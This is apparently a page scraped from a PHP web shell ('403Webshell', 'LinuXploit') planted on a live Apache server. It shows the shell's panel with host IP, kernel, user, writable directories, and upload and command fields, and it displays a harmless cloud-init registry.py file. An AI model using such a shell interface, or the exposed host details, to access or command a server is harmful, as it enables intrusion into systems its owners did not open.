403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.150
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/cloudinit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/registry.py
# Copyright (C) 2015 Canonical Ltd.
#
# This file is part of cloud-init. See LICENSE file for license information.

import copy


class DictRegistry:
    """A simple registry for a mapping of objects."""

    def __init__(self):
        self.reset()

    def reset(self):
        self._items = {}

    def register_item(self, key, item):
        """Add item to the registry."""
        if key in self._items:
            raise ValueError(
                "Item already registered with key {0}".format(key)
            )
        self._items[key] = item

    def unregister_item(self, key, force=True):
        """Remove item from the registry."""
        if key in self._items:
            del self._items[key]
        elif not force:
            raise KeyError("%s: key not present to unregister" % key)

    @property
    def registered_items(self):
        """All the items that have been registered.

        This cannot be used to modify the contents of the registry.
        """
        return copy.copy(self._items)

Youez - 2016 - github.com/yon3zu
LinuXploit